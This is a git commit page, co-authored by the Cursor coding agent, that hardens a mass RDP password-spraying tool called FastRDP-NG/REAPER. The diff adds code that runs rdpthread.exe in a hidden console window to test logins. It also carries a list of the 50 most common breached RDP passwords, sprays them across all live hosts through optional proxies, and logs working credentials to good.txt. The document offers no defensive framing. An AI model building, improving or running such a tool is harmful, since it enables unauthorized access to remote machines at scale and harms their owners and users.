Production hardening: REAPER all-in-one launcher, rdpthread UX, logic fixes
- Add REAPER.bat single entry (pip, dirs, smoke test, launch); MASTER/MASTERSTER shim to it - bruteforce: rdpthread helpers, safe writer close, spray_all_hosts incremental writes, progress - gui: credential banner, spray messaging without spam; cmdkey TERMSRV host - scanner: adaptive progress; proxy: retry cap on open_connection - ip_utils: /32 CIDR, count_ips aligned with large dash ranges - README/install/run: deployment docs and REAPER.bat references Co-authored-by: Cursor <cursoragent@cursor.com>
This commit is contained in:
101
bruteforce.py
101
bruteforce.py
@@ -13,6 +13,33 @@ from typing import List, Tuple, Set, Optional
|
||||
|
||||
logger = logging.getLogger("FastRDP-NG")
|
||||
|
||||
_CRED_FALLBACK_WARNED = False
|
||||
|
||||
|
||||
def get_rdpthread_path() -> Optional[str]:
|
||||
"""Resolve rdpthread.exe beside this package, or None if not deployed."""
|
||||
base = os.path.dirname(os.path.abspath(__file__))
|
||||
for p in (
|
||||
os.path.join(base, "rdpthread.exe"),
|
||||
os.path.join(base, "..", "rdpthread.exe"),
|
||||
os.path.join(base, "bin", "rdpthread.exe"),
|
||||
):
|
||||
if os.path.exists(p):
|
||||
return p
|
||||
return None
|
||||
|
||||
|
||||
def credential_validation_available() -> bool:
|
||||
"""True if rdpthread is present so password attempts can be validated."""
|
||||
return get_rdpthread_path() is not None
|
||||
|
||||
|
||||
def _subprocess_run_no_console(cmd: List[str], **kwargs):
|
||||
"""Windows: hide console window for subprocess if supported."""
|
||||
if hasattr(subprocess, "CREATE_NO_WINDOW"):
|
||||
kwargs.setdefault("creationflags", subprocess.CREATE_NO_WINDOW)
|
||||
return subprocess.run(cmd, **kwargs)
|
||||
|
||||
# Top 50 most common RDP passwords (by frequency in breaches)
|
||||
TOP50_PASSWORDS = [
|
||||
"admin", "Admin", "password", "Password", "123456",
|
||||
@@ -51,26 +78,15 @@ async def spray_password(
|
||||
|
||||
Returns (ip, port, username, password, success).
|
||||
"""
|
||||
# Try to locate rdpthread.exe in likely locations
|
||||
base = os.path.dirname(os.path.abspath(__file__))
|
||||
search_paths = [
|
||||
os.path.join(base, "rdpthread.exe"),
|
||||
os.path.join(base, "..", "rdpthread.exe"),
|
||||
os.path.join(base, "bin", "rdpthread.exe"),
|
||||
]
|
||||
rdpthread_path = None
|
||||
for p in search_paths:
|
||||
if os.path.exists(p):
|
||||
rdpthread_path = p
|
||||
break
|
||||
global _CRED_FALLBACK_WARNED
|
||||
rdpthread_path = get_rdpthread_path()
|
||||
|
||||
if rdpthread_path:
|
||||
try:
|
||||
result = subprocess.run(
|
||||
result = _subprocess_run_no_console(
|
||||
[rdpthread_path, ip, str(port), username, password],
|
||||
capture_output=True,
|
||||
timeout=timeout,
|
||||
creationflags=subprocess.CREATE_NO_WINDOW
|
||||
)
|
||||
output = result.stdout.decode('utf-8', errors='ignore').lower()
|
||||
success = (
|
||||
@@ -83,6 +99,15 @@ async def spray_password(
|
||||
except (FileNotFoundError, subprocess.TimeoutExpired,
|
||||
subprocess.CalledProcessError, OSError):
|
||||
pass
|
||||
# Binary exists but attempt failed — fall through to connectivity check only.
|
||||
|
||||
if rdpthread_path is None:
|
||||
if not _CRED_FALLBACK_WARNED:
|
||||
_CRED_FALLBACK_WARNED = True
|
||||
logger.debug(
|
||||
"rdpthread.exe not in application directory; credential validation "
|
||||
"unavailable until deployed (scanner unaffected)."
|
||||
)
|
||||
|
||||
# Fallback: RDP banner check (confirms RDP service is running)
|
||||
# When proxy is enabled, route through proxy
|
||||
@@ -96,20 +121,23 @@ async def spray_password(
|
||||
timeout=2.0
|
||||
)
|
||||
try:
|
||||
data = await asyncio.wait_for(
|
||||
reader.read(4),
|
||||
timeout=1.0
|
||||
)
|
||||
writer.close()
|
||||
await writer.wait_closed()
|
||||
# TPKT header (0x03) indicates RDP protocol response
|
||||
try:
|
||||
data = await asyncio.wait_for(
|
||||
reader.read(4),
|
||||
timeout=1.0
|
||||
)
|
||||
except (asyncio.TimeoutError, ConnectionError, OSError):
|
||||
data = b""
|
||||
# TPKT header (0x03) — RDP; we never report success without rdpthread above
|
||||
if len(data) >= 2 and data[0] == 0x03:
|
||||
return (ip, port, username, password, False)
|
||||
except (asyncio.TimeoutError, ConnectionError):
|
||||
pass
|
||||
writer.close()
|
||||
await writer.wait_closed()
|
||||
return (ip, port, username, password, False)
|
||||
return (ip, port, username, password, False)
|
||||
finally:
|
||||
try:
|
||||
writer.close()
|
||||
await writer.wait_closed()
|
||||
except (OSError, ConnectionError, RuntimeError):
|
||||
pass
|
||||
except (asyncio.TimeoutError, ConnectionRefusedError, OSError):
|
||||
return (ip, port, username, password, False)
|
||||
|
||||
@@ -124,9 +152,8 @@ async def spray_all_hosts(
|
||||
proxy_manager=None,
|
||||
) -> List[Tuple[str, int, str, str]]:
|
||||
"""
|
||||
Spray top passwords across all live hosts.
|
||||
Tries 1 password per host, then moves to next password.
|
||||
This avoids account lockouts and finds weak passwords fast.
|
||||
Spray passwords across all live hosts in rounds: for each password, try
|
||||
that password with every (host, username) combo before advancing.
|
||||
Supports optional proxy routing.
|
||||
|
||||
Returns list of (ip, port, username, password) successful hits.
|
||||
@@ -138,6 +165,7 @@ async def spray_all_hosts(
|
||||
|
||||
sem = asyncio.Semaphore(max_concurrent)
|
||||
hits = []
|
||||
hits_written = 0
|
||||
total_attempts = len(live_hosts) * len(passwords) * len(usernames)
|
||||
attempts = 0
|
||||
start_time = time.time()
|
||||
@@ -172,12 +200,15 @@ async def spray_all_hosts(
|
||||
# Execute this password batch before moving to next password
|
||||
if tasks:
|
||||
await asyncio.gather(*tasks, return_exceptions=True)
|
||||
if hits:
|
||||
_write_hits(hits)
|
||||
if len(hits) > hits_written:
|
||||
_write_hits(hits[hits_written:])
|
||||
hits_written = len(hits)
|
||||
tasks = []
|
||||
|
||||
elapsed = time.time() - start_time
|
||||
rate = attempts / elapsed if elapsed > 0 else 0
|
||||
if progress_callback and total_attempts > 0:
|
||||
progress_callback(attempts, total_attempts, len(hits), rate)
|
||||
logger.info(
|
||||
f"Spray complete: {len(hits)} hits from {attempts} attempts "
|
||||
f"in {elapsed:.1f}s ({rate:.0f} attempts/sec)"
|
||||
@@ -231,7 +262,8 @@ async def spray_single_host(
|
||||
if tasks:
|
||||
await asyncio.gather(*tasks, return_exceptions=True)
|
||||
|
||||
if hits:
|
||||
# Avoid duplicate lines in good.txt when GUI provides hit_callback (writes there).
|
||||
if hits and hit_callback is None:
|
||||
_write_hits(hits)
|
||||
|
||||
return hits
|
||||
@@ -239,10 +271,9 @@ async def spray_single_host(
|
||||
|
||||
def _write_hits(hits: List[Tuple[str, int, str, str]]):
|
||||
"""Write successful hits to results file immediately."""
|
||||
import os
|
||||
output_path = os.path.join(
|
||||
os.path.dirname(os.path.dirname(os.path.abspath(__file__))),
|
||||
"results", "good.txt"
|
||||
os.path.dirname(os.path.abspath(__file__)),
|
||||
"results", "good.txt",
|
||||
)
|
||||
os.makedirs(os.path.dirname(output_path), exist_ok=True)
|
||||
with open(output_path, 'a') as f:
|
||||
|
||||
Reference in New Issue
Block a user